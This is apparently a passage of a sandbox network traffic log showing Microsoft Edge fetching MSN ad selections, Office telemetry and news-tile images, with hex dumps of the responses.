2024-10-31 00:18:45 UTC	563	IN	HTTP/1.1 200 OK Date: Thu, 31 Oct 2024 00:18:45 GMT Content-Type: text/xml Content-Length: 1390 Connection: close Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:49 GMT ETag: "0x8DC582BE3002601" x-ms-request-id: 6796a20d-a01e-00ab-565f-279106000000 x-ms-version: 2018-03-28 x-azure-ref: 20241031T001845Z-17c5cb586f6wnfhvhw6gvetfh4000000089g000000009qa3 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-31 00:18:45 UTC	1390	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 33 39 30 30 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 53 65 72 76 69 63 65 61 62 69 6c 69 74 79 4d 61 6e 61 67 65 72 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 53 65 72 76 69 63 65 61 62 69 6c 69 74 79 4d 61 6e 61 67 65 72 22 20 53 3d Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="703900" V="0" DC="SM" EN="Office.Telemetry.Event.Office.ServiceabilityManager" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenServiceabilityManager" S=

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
130	192.168.2.5	49905	20.96.153.111	443	7948	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-31 00:18:45 UTC	1067	OUT	GET /v4/api/selection?nct=1&fmt=json&nocookie=0&locale=en-us&country=US&muid=29FAFED0AE7460922E52EBF9AFD56107&ACHANNEL=4&ABUILD=117.0.5938.132&clr=esdk&edgeid=6686581979505309747&ADEFAB=1&devosver=10.0.19045.2006&OPSYS=WIN10&poptin=0&UITHEME=light&pageConfig=547&ISSIGNEDIN=0&MSN_CANVAS=2&ISMOBILE=0&BROWSER=6&placement=88000308\|10837393&bcnt=1\|1&asid=29ecb027a1f14530c8b874799e420445 HTTP/1.1 Host: arc.msn.com Connection: keep-alive sec-ch-ua: "Microsoft Edge";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47 sec-ch-ua-platform: "Windows" Accept: / Origin: https://ntp.msn.com Sec-Fetch-Site: same-site Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Referer: https://ntp.msn.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-GB,en;q=0.9,en-US;q=0.8 Cookie: _C_ETH=1; USRLOC=; MUID=29FAFED0AE7460922E52EBF9AFD56107; _EDGE_S=F=1&SID=1B36F6824F29691A04B5E3AB4ECD6890; _EDGE_V=1
2024-10-31 00:18:45 UTC	674	IN	HTTP/1.1 200 OK Cache-Control: no-store, no-cache Pragma: no-cache Content-Length: 297 Content-Type: application/json; charset=utf-8 Expires: Mon, 01 Jan 0001 00:00:00 GMT Server: Microsoft-IIS/10.0 ARC-RSP-DBG: [{"DcoPlusDebug":"Status: Ok"},{"RADIDS":"2,,"},{"OPTOUTSTATE":"256"},{"REGIONALPOLICY":"0"}] Accept-CH: UA, UA-Arch, UA-Full-Version, UA-Mobile, UA-Model, UA-Platform, UA-Platform-Version Access-Control-Allow-Origin: https://ntp.msn.com Access-Control-Allow-Credentials: true X-AspNet-Version: 4.0.30319 X-Powered-By: ASP.NET Strict-Transport-Security: max-age=31536000; includeSubDomains Date: Thu, 31 Oct 2024 00:18:45 GMT Connection: close
2024-10-31 00:18:45 UTC	297	IN	Data Raw: 7b 22 62 61 74 63 68 72 73 70 22 3a 7b 22 76 65 72 22 3a 22 31 2e 30 22 2c 22 65 72 72 6f 72 73 22 3a 5b 7b 22 70 6c 61 63 65 6d 65 6e 74 22 3a 22 38 38 30 30 30 33 30 38 22 2c 22 65 72 72 6f 72 73 22 3a 5b 7b 22 63 6f 64 65 22 3a 32 30 34 30 2c 22 6d 73 67 22 3a 22 44 65 6d 61 6e 64 20 73 6f 75 72 63 65 20 72 65 74 75 72 6e 73 20 65 72 72 6f 72 20 28 4e 61 6d 65 3a 20 47 4e 5f 70 73 2c 20 45 72 72 6f 72 3a 20 4e 6f 20 65 6c 69 67 69 62 6c 65 20 63 6f 6e 74 65 6e 74 2e 29 2e 22 7d 5d 7d 2c 7b 22 70 6c 61 63 65 6d 65 6e 74 22 3a 22 31 30 38 33 37 33 39 33 22 2c 22 65 72 72 6f 72 73 22 3a 5b 7b 22 63 6f 64 65 22 3a 32 30 34 30 2c 22 6d 73 67 22 3a 22 44 65 6d 61 6e 64 20 73 6f 75 72 63 65 20 72 65 74 75 72 6e 73 20 65 72 72 6f 72 20 28 4e 61 6d 65 3a 20 47 Data Ascii: {"batchrsp":{"ver":"1.0","errors":[{"placement":"88000308","errors":[{"code":2040,"msg":"Demand source returns error (Name: GN_ps, Error: No eligible content.)."}]},{"placement":"10837393","errors":[{"code":2040,"msg":"Demand source returns error (Name: G

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
131	192.168.2.5	49914	23.47.194.65	443	7948	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-31 00:18:45 UTC	634	OUT	GET /tenant/amp/entityid/BB1msG0Z.img HTTP/1.1 Host: img-s-msn-com.akamaized.net Connection: keep-alive sec-ch-ua: "Microsoft Edge";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47 sec-ch-ua-platform: "Windows" Accept: image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Referer: https://ntp.msn.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-GB,en;q=0.9,en-US;q=0.8
2024-10-31 00:18:46 UTC	521	IN	HTTP/1.1 200 OK Access-Control-Allow-Origin: * Last-Modified: Fri, 25 Oct 2024 02:32:45 GMT X-Datacenter: eastus X-ActivityId: e4c9a73d-8392-40fd-925c-ee5caa47b1b2 Timing-Allow-Origin: * X-Frame-Options: deny X-ResizerVersion: 1.0 Content-Type: image/jpeg Content-Location: https://img.s-msn.com/tenant/amp/entityid/BB1msG0Z X-Source-Length: 132415 Content-Length: 132415 Cache-Control: public, max-age=310423 Expires: Sun, 03 Nov 2024 14:32:29 GMT Date: Thu, 31 Oct 2024 00:18:46 GMT Connection: close
2024-10-31 00:18:46 UTC	15863	IN	Data Raw: ff d8 ff e2 0c 58 49 43 43 5f 50 52 4f 46 49 4c 45 00 01 01 00 00 0c 48 4c 69 6e 6f 02 10 00 00 6d 6e 74 72 52 47 42 20 58 59 5a 20 07 ce 00 02 00 09 00 06 00 31 00 00 61 63 73 70 4d 53 46 54 00 00 00 00 49 45 43 20 73 52 47 42 00 00 00 00 00 00 00 00 00 00 00 00 00 00 f6 d6 00 01 00 00 00 00 d3 2d 48 50 20 20 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 11 63 70 72 74 00 00 01 50 00 00 00 33 64 65 73 63 00 00 01 84 00 00 00 6c 77 74 70 74 00 00 01 f0 00 00 00 14 62 6b 70 74 00 00 02 04 00 00 00 14 72 58 59 5a 00 00 02 18 00 00 00 14 67 58 59 5a 00 00 02 2c 00 00 00 14 62 58 59 5a 00 00 02 40 00 00 00 14 64 6d 6e 64 00 00 02 54 00 00 00 70 64 6d 64 64 00 00 02 Data Ascii: XICC_PROFILEHLinomntrRGB XYZ 1acspMSFTIEC sRGB-HP cprtP3desclwtptbkptrXYZgXYZ,bXYZ@dmndTpdmdd
2024-10-31 00:18:46 UTC	16384	IN	Data Raw: f2 f8 87 0a af d5 5e 42 ab 9e 5e 85 a9 ea 08 31 37 1a bb d2 b5 11 2e 8d c4 52 ad 95 05 57 2b 7e 0b 50 3b d3 20 d4 c2 c5 58 73 63 aa 46 4c 73 b9 a3 76 1f 5e ab 41 5e 35 12 ea 0d ab 75 62 3c 6a 05 57 85 2f ea 6d 3d c1 1b 55 0d 9d cd 56 57 a5 2e c6 38 55 c9 11 6d 54 ce c4 ef 5b eb b0 aa 5a 95 26 8f 24 46 ce 1c cd 50 f5 4d 0e 92 2a d8 35 7c 62 36 b0 e4 6a cf 54 55 1a 4d 47 41 a7 a8 9d d5 de b7 2a af d6 6a 97 a7 5b e9 d6 e8 fb 54 72 9a 58 b1 a6 4a 55 25 6a e6 91 76 a8 12 6a d9 8e 15 1d 35 65 34 ab 2c 2a bd 46 af d3 54 1a 64 96 a9 ac 9a 8c 56 de 9b 24 0d 5c 2a bb d5 83 55 4a a2 fa ac 93 c2 b6 0d 5b 06 a1 64 c8 35 9e 99 34 f6 81 4d 2a 0a 7c 9b 88 4f a5 57 04 a2 da 05 42 14 54 73 da b8 c2 61 16 a7 ec 15 79 d3 ce a9 3a 69 79 53 35 af 2a 59 98 9a 99 93 c2 a9 20 d1 Data Ascii: ^B^17.RW+~P; XscFLsv^A^5ub<jW/m=UVW.8UmT[Z&$FPM5\|b6jTUMGAj[TrXJU%jvj5e4,FTdV$\UJ[d54M\|OWBTsay:iyS5Y
2024-10-31 00:18:46 UTC	2440	IN	Data Raw: 55 ca 97 18 0e dd ab 1e 55 0f c2 30 e5 7d a8 e9 56 b0 99 32 60 8a ac fb 4f 09 db 8f d2 97 2a 7c 60 37 e1 0c c1 89 e5 5a 7b 46 1c 87 f5 ca ba 21 85 47 ba dc 26 a9 cd e9 2c 33 34 13 6e 7f 2a 5c a9 71 80 a3 b3 c9 3f f1 54 e5 ed 1c fb d4 c6 93 ff 00 34 73 0b e3 c8 a7 4b c8 9b ff 00 2a b3 30 4c 60 16 3a 47 05 e7 e1 f9 fc e9 f2 ad c6 04 63 c0 d9 f1 eb c7 f0 71 32 27 e9 bc 75 da b7 f0 a7 8e dc bf 99 ab b0 65 40 e5 51 a0 64 26 27 8f 38 e4 3e 54 55 57 4c 98 13 3b 74 a5 72 b1 a6 31 cd be 84 e7 03 88 06 de 3c 2a a1 80 bd c0 b7 03 c2 2b a7 7c 68 18 41 8d ad c0 8e 44 57 95 81 05 14 44 5f a0 aa e4 d7 07 35 f8 67 fb 26 a9 3d bb b7 02 2b ac 0d 0b cf 4f fc d4 43 de 0e cd c7 95 b6 a5 ce 97 09 ea e2 9b 03 02 40 14 ca 61 68 bf fc 57 63 81 71 b2 ef 24 6f e1 4b f7 19 31 df 42 Data Ascii: UU0}V2`O\|`7Z{F!G&,34n\q?T4sK0L`:Gcq2'ue@Qd&'8>TUWL;tr1<+\|hADWD_5g&=+OC@ahWcq$oK1B
2024-10-31 00:18:46 UTC	16384	IN	Data Raw: 2a 2e 57 53 40 e0 b7 8e bc aa 9c 78 c2 61 d1 62 44 a9 9b 6c 4e f4 f7 b2 d6 8b 41 89 17 e1 d0 71 fc aa 61 c3 e3 16 22 45 45 5b d3 2c 0e c6 0c 74 da ac 46 c5 3a 44 45 f6 bd 6d 1e d4 a6 92 16 4f 19 16 e5 56 06 d4 58 11 00 6d 13 33 48 66 25 32 e2 c6 a6 03 31 73 e4 3f 7d 20 b9 cc e7 bc dd e3 a4 45 2d 16 dd 46 85 60 4c 5f 7a ae 54 ab 31 9d b6 e5 43 7b 7c 8e e3 41 37 e3 c2 6d c2 99 1a d7 3e 96 8b 02 57 f8 87 2f 3a 7a 3d a9 42 af 06 24 0b 4f 85 5a b8 c5 c9 32 06 de 3c 29 86 c7 a3 41 51 66 26 47 9f 1a 5c a1 46 7c 63 a1 1e 3c 2b 54 b4 00 5a db a8 fa d6 85 5c a4 88 fd d4 43 22 85 50 63 dc 47 eb 4a 89 0c 41 03 9f 53 49 54 98 d6 09 58 f8 45 8d 3f e9 ab 28 60 7c ff 00 ae b5 af 97 4f b9 80 13 e5 f9 d2 1e b2 a3 33 7f d3 62 27 f8 4f 1e b1 cc 78 8a da 61 04 24 cd ad fd 7f Data Ascii: *.WS@xabDlNAqa"EE[,tF:DEmOVXm3Hf%21s?} E-F`L_zT1C{\|A7m>W/:z=B$OZ2<)AQf&G\F\|c<+TZ\C"PcGJASITXE?(`\|O3b'Oxa$
2024-10-31 00:18:46 UTC	16384	IN	Data Raw: 42 b1 b7 01 4b 4a 94 11 9f 2a ac 42 84 11 22 39 19 f6 dc 7b b8 4d eb 99 ff 00 20 be a9 95 98 01 75 a1 22 d6 be f0 3c eb b6 ee 71 e0 0c 7d a7 54 69 22 e4 7b 48 33 26 66 7c 0d 70 d9 f1 0b 9f 78 c8 2e cb 6b 89 99 b9 13 c6 47 0a 77 1b 34 9d ef 62 08 a5 d2 db d8 c4 83 06 36 de 8c 76 8a ba 17 23 c9 09 a8 c0 23 dc 49 81 ce de d3 40 b0 13 8c 06 0a c2 79 fe 46 0f 0e 15 7f 7b 94 a6 1c 64 29 5d 40 12 3a eb 73 36 3b 79 55 4d 26 f8 12 cf fe 44 34 fa 68 aa 9e 40 5b ad 4b d4 9c 64 b2 87 76 31 a4 7b 4a 29 1b b1 83 06 36 02 f0 68 5e 11 8f 4a 33 46 bc 9f 68 d9 64 48 24 1b df ee 2c 75 da 89 60 c0 0b 92 cc 34 07 2e 58 9f e1 f9 93 14 f2 cb 7d 34 82 7d c7 6d e8 ae 3c 88 9d b8 64 6d 41 21 a6 37 86 76 04 18 e5 04 57 39 88 a6 6c 99 75 e0 51 ae 09 ba 9d 10 49 f6 83 11 bc 47 95 74 Data Ascii: BKJ*B"9{M u"<q}Ti"{H3&f\|px.kGw4b6v##I@yF{d)]@:s6;yUM&D4h@[Kdv1{J)6h^J3FhdH$,u`4.X}4}m<dmA!7vW9luQIGt
2024-10-31 00:18:46 UTC	7952	IN	Data Raw: 64 68 3b 00 bb 73 dc 7e 54 8e 3c da 89 0c 35 ba 83 ab 93 2f d9 3c c8 fb a6 ab 2e c6 34 37 b3 27 dd 85 80 00 be a5 82 25 78 d4 af 63 5e b3 ea 1a f2 ae 31 bd 80 6d 42 24 a8 0b b1 8e b4 c1 ee 55 b4 b2 b3 44 75 2c 7a 88 81 42 1b 2e 22 c8 34 08 4f 82 05 a4 8d 8c c4 9e 36 e3 4a e2 38 e0 b0 52 46 d2 a6 0a ab 1f 7c 29 92 02 9b f1 aa ad 2d 1e 2e b9 13 49 c8 4e ae 04 79 88 3e ee 94 0b f0 f6 d6 32 71 86 f7 b4 0e 56 bd 13 c6 9a 95 d9 8f c0 04 7d a9 43 78 3b 5e 35 0d ea c6 ed b1 37 a8 15 8a 16 21 ac 62 2f c0 81 6b f9 ef 4b 67 66 c2 1f b6 fb ac cc 24 98 fb b6 17 92 00 53 17 aa 7d 02 40 0a fc 8d c8 63 7d 8d c1 b7 2a 22 35 a0 8c 8b 74 d0 75 7d e8 36 24 f0 3c 26 38 1a 51 90 62 7d ed a6 17 8c 75 1c 63 98 b8 f2 ab da 35 0a 28 66 46 05 8b c1 20 a3 28 99 aa 10 a6 37 d0 15 25 Data Ascii: dh;s~T<5/<.47'%xc^1mB$UDu,zB."4O6J8RF\|)-.INy>2qV}Cx;^57!b/kKgf$S}@c}*"5tu}6$<&8Qb}uc5(fF (7%
2024-10-31 00:18:46 UTC	16384	IN	Data Raw: 71 22 b8 eb 61 23 da 06 9f 81 f9 f9 fe b4 fa 77 59 15 81 c8 41 13 71 04 32 f9 19 36 f9 55 ee 6f d0 b6 e9 50 93 8a 0e d1 36 bc 11 cb 63 70 05 ab 9a ee b1 13 93 d4 59 30 2f a4 cc 8d ec 3e 76 f3 a7 67 13 20 18 49 89 d5 1b ec 41 31 70 77 eb e1 57 ac 64 56 56 82 34 df 7b 10 4e e0 df 7b 8e 57 a0 65 3b 1a 77 15 76 dd c7 ac 91 c6 3e b1 b8 3e 16 a9 63 4d 4c e6 20 30 50 77 dd 5a 41 f2 d8 8e 37 ae 6b 22 b7 6d 92 cd 73 72 38 fe d4 6d e7 04 82 2b aa c5 94 15 43 6d ee 07 2d be 56 a9 29 7e 0f 3e 32 75 b1 ba 81 a8 79 83 ee 12 45 cd 71 d9 f5 02 fc 47 c3 6d ef 04 78 57 43 93 36 bc b1 a8 ed 03 96 92 0e df 99 a1 99 55 95 81 d3 3e d9 3a 62 6d fc 36 eb b4 53 85 97 80 84 08 f9 08 32 b6 89 de 7a c7 02 2b 47 a9 85 9a 7d c0 83 71 b1 f1 e1 35 28 61 91 98 5e 45 d7 88 ff 00 69 bd 66 Data Ascii: q"a#wYAq26UoP6cpY0/>vg IA1pwWdVV4{N{We;wv>>cML 0PwZA7k"msr8m+Cm-V)~>2uyEqGmxWC6U>:bm6S2z+G}q5(a^Eif
2024-10-31 00:18:46 UTC	16384	IN	Data Raw: bc 2b 7c 27 d4 80 ca c0 a3 0f 8a 2e 0e fe e8 ab 1b 03 80 01 46 f3 82 47 ed 4f 97 e7 4e 63 4c 24 8c 97 13 2d f1 0d f6 65 bc 7d 29 a7 f4 d7 de 99 32 a8 27 82 f2 e7 a5 bf 4a 9b 0e 00 36 43 8b 5a b5 a4 58 9f 88 10 7c be 55 3c 39 5d ca af dd dc 9d 22 07 2b 6d 3f 39 a6 f5 e4 76 20 65 57 93 b6 44 23 7e ba 7f 32 28 8b 06 40 40 5c 51 33 01 82 b1 22 d2 7d bc 2f 14 98 a3 77 09 a8 a9 1a 54 0f 8b 81 8b 6f cf 9c 9a 55 fb 5c 79 14 36 37 52 67 54 1f 6c 83 c0 1f 84 f8 1a 97 a0 a4 df 52 83 bc b7 b7 e7 ac 6f e5 4f 1e d4 95 03 1b 28 d2 a4 15 d4 8d aa 79 df af 15 aa 92 97 90 77 39 30 3f f7 03 28 70 2d 1f 0e 9d 8a cd ad 57 3a 8c aa 35 fb a6 c3 2a dc c4 6e dc 59 7c e1 87 33 45 57 17 72 10 00 9a d4 6e 80 6a 5f ff 00 a6 f0 47 9a c5 4b 1e 3c 3f 09 5c 9d b9 bc 40 62 92 79 06 1a 84 Data Ascii: +\|'.FGONcL$-e})2'J6CZX\|U<9]"+m?9v eWD#~2(@@\Q3"}/wToU\y67RgTlRoO(yw90?(p-W:5*nY\|3EWrnj_GK<?\@by
2024-10-31 00:18:46 UTC	7952	IN	Data Raw: c1 86 57 50 1a 54 9f ba 49 03 a1 b4 8a ea bf 19 8a 3d 1c 58 d0 a9 13 65 32 bb 11 ee 1a 49 99 91 bd 0b 75 5c f8 8a 11 61 2f 0b 77 1c d9 0d 83 8b 49 56 86 e3 36 34 5c f1 93 5a d7 e8 9c 7b 09 cd 94 2b fb 4e 52 22 7e 3d 23 e8 01 3f 3a 1b 93 20 d4 34 a2 09 bd c6 a3 f5 69 a7 f3 e1 67 50 71 1f 54 09 f8 77 e7 75 3e ef cc 50 8c a1 91 86 a0 41 81 20 ef b7 2a e5 bb 12 9f 9d 50 4d ed 56 23 70 e7 f9 45 41 58 15 53 f5 f1 a5 d1 8c 75 fd f5 26 61 4f a6 54 49 8b 5f 94 1a 86 47 d5 a9 85 2a c4 b1 d3 bf f3 ab 7a 47 11 fa d3 4c 5d 9b dd 8c 93 bc af e4 2a 28 23 11 f3 11 57 64 ff 00 4f cc 2f e5 7a 44 86 9d 23 60 7e a6 94 53 54 1d 40 5f 8d ba d1 35 c6 5d bd bb b0 02 78 02 39 7f 3e 1c 29 64 10 ab e3 27 9f f0 af ea 6b a3 c2 74 e2 66 d1 2d b6 d0 88 3a f3 37 f6 a8 f3 37 aa 93 6c 1c Data Ascii: WPTI=Xe2Iu\a/wIV64\Z{+NR"~=#?: 4igPqTwu>PA PMV#pEAXSu&aOTI_GzGL]*(#WdO/zD#`~ST@_5]x9>)d'ktf-:77l
2024-10-31 00:18:46 UTC	14945	IN	Data Raw: 00 24 1e a6 89 66 c5 91 41 d2 17 4b 03 a6 76 df ac cd 0d 00 85 92 d8 41 13 6d 1c 87 ec 50 b4 68 26 86 05 0a 9b 81 69 02 e6 23 ee f3 b5 5d 95 d1 40 fe da f0 17 2c 79 9e 0c 2a b0 65 92 72 27 b8 09 3a 4e e7 8f c0 29 7e e0 9b 29 71 bc fd ee 5e 54 ab 12 4c 9a 9d a3 1e 31 6e 44 ee 40 e2 4d 16 6c ac 33 ab 7b 63 de 4f b5 76 51 ce 26 26 84 60 00 3b 7b b9 70 ea 0f e9 4d e4 70 27 98 58 1e 24 12 6a 5a 78 3a 1c be 5c 64 00 76 95 20 0d f6 f7 47 d0 1a a3 23 31 33 bc 10 0d 81 89 99 24 45 5f 86 3d 30 5a c0 85 df a4 f2 aa 87 bf 1b 31 90 43 8f 70 be c3 8f 18 a2 7c 20 39 c3 3b 58 03 1c 3c bf ad aa ec 1d cb e1 61 36 33 b8 e4 6a 04 e8 70 c7 da 60 1d 40 02 ad e6 2d f2 aa b2 63 46 d4 55 f6 33 1c 7a fc f6 a5 0a 8b b1 d4 cc d3 f7 48 9b ef 22 87 64 d2 b9 10 70 d4 5c f8 1b 7e b4 4b Data Ascii: $fAKvAmPh&i#]@,y*er':N)~)q^TL1nD@Ml3{cOvQ&&`;{pMp'X$jZx:\dv G#13$E_=0Z1Cp\| 9;X<a63jp`@-cFU3zH"dp\~K

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
132	192.168.2.5	49910	23.47.194.65	443	7948	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-31 00:18:45 UTC	634	OUT	GET /tenant/amp/entityid/AA13Q6AL.img HTTP/1.1 Host: img-s-msn-com.akamaized.net Connection: keep-alive sec-ch-ua: "Microsoft Edge";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47 sec-ch-ua-platform: "Windows" Accept: image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Referer: https://ntp.msn.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-GB,en;q=0.9,en-US;q=0.8
2024-10-31 00:18:46 UTC	516	IN	HTTP/1.1 200 OK Last-Modified: Mon, 12 Aug 2024 01:13:32 GMT Access-Control-Allow-Origin: * X-Datacenter: eastus X-ActivityId: be192b45-753e-4017-8c28-8930da91b54e Timing-Allow-Origin: * X-Frame-Options: DENY X-ResizerVersion: 1.0 Content-Type: image/png Content-Location: https://img.s-msn.com/tenant/amp/entityid/AA13Q6AL X-Source-Length: 1658 Content-Length: 1658 Cache-Control: public, max-age=148132 Expires: Fri, 01 Nov 2024 17:27:38 GMT Date: Thu, 31 Oct 2024 00:18:46 GMT Connection: close
2024-10-31 00:18:46 UTC	1658	IN	Data Raw: 89 50 4e 47 0d 0a 1a 0a 00 00 00 0d 49 48 44 52 00 00 00 20 00 00 00 20 08 06 00 00 00 73 7a 7a f4 00 00 00 06 62 4b 47 44 00 ff 00 ff 00 ff a0 bd a7 93 00 00 06 2f 49 44 41 54 58 c3 d5 57 7d 6c 14 45 14 7f 33 b3 bb 77 d7 2b a5 e5 a3 48 a9 7c c4 10 82 44 12 25 d8 18 4d 8a 5a 35 11 49 0d d2 26 fc 51 03 c6 04 c3 57 03 25 a0 50 b0 11 21 d4 a4 26 02 51 f0 0b 22 06 12 30 a6 84 18 48 8a 5a 08 22 88 c4 80 80 f6 0f 3e 5a 01 11 90 c2 41 da bb 9d dd 19 df cc ee 6d f7 bc 83 16 89 31 ee e5 dd 9b 9d db 9d df ef fd de bc b7 7b 00 ff f1 41 ee f6 86 8d 0d 17 f3 be ed 3c bf 2d 61 d1 32 37 6a 15 09 d3 e0 c4 20 27 a4 41 b7 44 fb f7 db b4 6b 56 49 d7 bf 42 a0 a1 41 d2 a1 a2 e3 a5 7d 7f b6 6f 3a 2f ec b8 99 df 1f 68 3c 0f 88 45 01 0c 0a 04 4d 32 72 81 30 da 50 50 3c 6a d3 8e Data Ascii: PNGIHDR szzbKGD/IDATXW}lE3w+H\|D%MZ5I&QW%P!&Q"0HZ">ZAm1{A<-a27j 'ADkVIBA}o:/h<EM2r0PP<j

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
133	192.168.2.5	49913	23.47.194.65	443	7948	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-31 00:18:45 UTC	633	OUT	GET /tenant/amp/entityid/AAc9vHK.img HTTP/1.1 Host: img-s-msn-com.akamaized.net Connection: keep-alive sec-ch-ua: "Microsoft Edge";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47 sec-ch-ua-platform: "Windows" Accept: image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Referer: https://ntp.msn.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-GB,en;q=0.9,en-US;q=0.8
2024-10-31 00:18:46 UTC	515	IN	HTTP/1.1 200 OK Access-Control-Allow-Origin: * Last-Modified: Thu, 24 Oct 2024 13:20:31 GMT X-Datacenter: eastus X-ActivityId: 16adcbce-12b9-406c-af23-858a83da7282 Timing-Allow-Origin: * X-Frame-Options: deny X-ResizerVersion: 1.0 Content-Type: image/png Content-Location: https://img.s-msn.com/tenant/amp/entityid/AAc9vHK X-Source-Length: 1218 Content-Length: 1218 Cache-Control: public, max-age=262963 Expires: Sun, 03 Nov 2024 01:21:29 GMT Date: Thu, 31 Oct 2024 00:18:46 GMT Connection: close
2024-10-31 00:18:46 UTC	1218	IN	Data Raw: 89 50 4e 47 0d 0a 1a 0a 00 00 00 0d 49 48 44 52 00 00 00 20 00 00 00 20 08 06 00 00 00 73 7a 7a f4 00 00 00 19 74 45 58 74 53 6f 66 74 77 61 72 65 00 41 64 6f 62 65 20 49 6d 61 67 65 52 65 61 64 79 71 c9 65 3c 00 00 03 71 69 54 58 74 58 4d 4c 3a 63 6f 6d 2e 61 64 6f 62 65 2e 78 6d 70 00 00 00 00 00 3c 3f 78 70 61 63 6b 65 74 20 62 65 67 69 6e 3d 22 ef bb bf 22 20 69 64 3d 22 57 35 4d 30 4d 70 43 65 68 69 48 7a 72 65 53 7a 4e 54 63 7a 6b 63 39 64 22 3f 3e 20 3c 78 3a 78 6d 70 6d 65 74 61 20 78 6d 6c 6e 73 3a 78 3d 22 61 64 6f 62 65 3a 6e 73 3a 6d 65 74 61 2f 22 20 78 3a 78 6d 70 74 6b 3d 22 41 64 6f 62 65 20 58 4d 50 20 43 6f 72 65 20 35 2e 35 2d 63 30 31 34 20 37 39 2e 31 35 31 34 38 31 2c 20 32 30 31 33 2f 30 33 2f 31 33 2d 31 32 3a 30 39 3a 31 35 20 20 Data Ascii: PNGIHDR szztEXtSoftwareAdobe ImageReadyqe<qiTXtXML:com.adobe.xmp<?xpacket begin="" id="W5M0MpCehiHzreSzNTczkc9d"?> <x:xmpmeta xmlns:x="adobe:ns:meta/" x:xmptk="Adobe XMP Core 5.5-c014 79.151481, 2013/03/13-12:09:15

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
134	192.168.2.5	49912	23.47.194.65	443	7948	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-31 00:18:45 UTC	634	OUT	GET /tenant/amp/entityid/BB1lFz6G.img HTTP/1.1 Host: img-s-msn-com.akamaized.net Connection: keep-alive sec-ch-ua: "Microsoft Edge";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47 sec-ch-ua-platform: "Windows" Accept: image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Referer: https://ntp.msn.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-GB,en;q=0.9,en-US;q=0.8
